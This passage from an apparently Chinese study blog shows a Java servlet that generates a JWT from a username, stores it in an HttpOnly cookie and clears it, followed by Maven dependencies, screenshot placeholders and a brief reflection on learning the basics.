public class coreServlet extends HttpServlet {

private void generate(HttpServletRequest req, HttpServletResponse resp) throws IOException {


String user = req.getParameter("username");
if(user == null){
resp.getWriter().write("用户名为空!将在 3 秒后返回生成页面!");
resp.setHeader("refresh","3;url=generate.jsp");
}

Map<String,Object> map = new HashMap<>();
map.put("username",user);

String jwt = custom.Jwt.generate(map, SignatureAlgorithm.HS256);


Cookie cookie = new Cookie("Jwt",jwt);
cookie.setHttpOnly(true);
cookie.setMaxAge((int) (Timer.ONE_MINUTE * 30));

resp.addCookie(cookie);

resp.getWriter().write("生成Jwt成功!请点击 ");
resp.getWriter().write("<a href=\"info.jsp\"> 这里 </a>");
resp.getWriter().write(" 查看信息,或点击 ");
resp.getWriter().write("<a href=\"clear.jsp\" 这里 </a>");
resp.getWriter().write("清除Jwt!");

}

private void clear(HttpServletRequest req, HttpServletResponse resp) throws IOException {

Cookie[] cookies = req.getCookies();
for(Cookie c : cookies){
if(c.getName().equals("Jwt")){
c.setMaxAge(0);
resp.addCookie(c);
resp.getWriter().write("清除Jwt成功!将在 3 秒后返回生成页面!");
resp.setHeader("refresh","3;url=generate.jsp");
return;
}
}
resp.getWriter().write("未找到Jwt内容!将在 3 秒后返回生成页面!");
resp.setHeader("refresh","3;url=generate.jsp");

}

@Override
public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String action = req.getParameter("action");
boolean success = false;
if(action != null){
if ("generate".equals(action.toLowerCase(Locale.ROOT))) {
generate(req, resp);
success = true;
}
}
if(!success) {
resp.getWriter().write("参数错误!");
}
}

@Override
public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String action = req.getParameter("action");
boolean success = false;
if(action != null){
if ("clear".equals(action.toLowerCase(Locale.ROOT))) {
clear(req, resp);
success = true;
}
}
if(!success) {
resp.getWriter().write("参数错误!");
}
}
}

以及 pom.xml 的依赖配置👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<dependencies>
<dependency>
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt</artifactId>
<version>0.9.1</version>
</dependency>
<dependency>
<groupId>javax.xml.bind</groupId>
<artifactId>jaxb-api</artifactId>
<version>2.4.0-b180830.0359</version>
</dependency>
<dependency>
<groupId>com.sun.xml.bind</groupId>
<artifactId>jaxb-impl</artifactId>
<version>3.0.1</version>
</dependency>
<dependency>
<groupId>com.sun.xml.bind</groupId>
<artifactId>jaxb-core</artifactId>
<version>3.0.1</version>
</dependency>
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
</dependencies>
- 测试 -

生成页面 👇

image-20220224193938915

点击生成后👇

image-20220224194055169

信息页面 👇

image-20220224194116678

清除页面 👇

image-20220224194130604

- 总结 -

可算是过了一遍基础,看了下后面还有很多东西得学。不过无论如何先把基础打好了才是最重要的,继续往下学吧。

- 参考 -


如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。也欢迎您共享此博客,以便更多人可以参与。如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。谢谢 !